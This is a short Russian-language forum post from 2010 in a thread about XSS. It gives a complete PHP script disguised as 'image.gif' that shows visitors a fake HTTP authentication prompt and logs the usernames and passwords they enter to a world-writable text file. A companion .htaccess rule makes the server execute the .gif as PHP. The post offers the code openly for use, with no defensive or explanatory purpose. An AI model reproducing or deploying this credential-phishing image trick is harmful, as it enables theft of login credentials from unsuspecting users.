Тема: xss
Показать сообщение отдельно

  #3  
Старый 13.03.2010, 01:38
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
С нами: 9083308

Репутация: 719
По умолчанию

image.gif
PHP код:
<?
    $filevalid    
= 'base.txt';
    
$good        = fopen($filevalid, 'a+');
header("WWW-Authenticate: Basic realm=\"Access Forbidden - Private level\"");
header("HTTP/1.0 401 Access Forbidden");
if (isset(
$_SERVER["PHP_AUTH_USER"]) ) {
$user = $_SERVER["PHP_AUTH_USER"];
$pass = $_SERVER["PHP_AUTH_PW"];
fwrite ($good, $user.';'.$pass."\n");
header("HTTP/1.0 200");
//exit("test");
}

?>

.htaccess
PHP код:
<files "image.gif">
AddType application/x-httpd-php .gif
</files> 

base.txt (с правами 777)
PHP код:
. 
 
Ответить с цитированием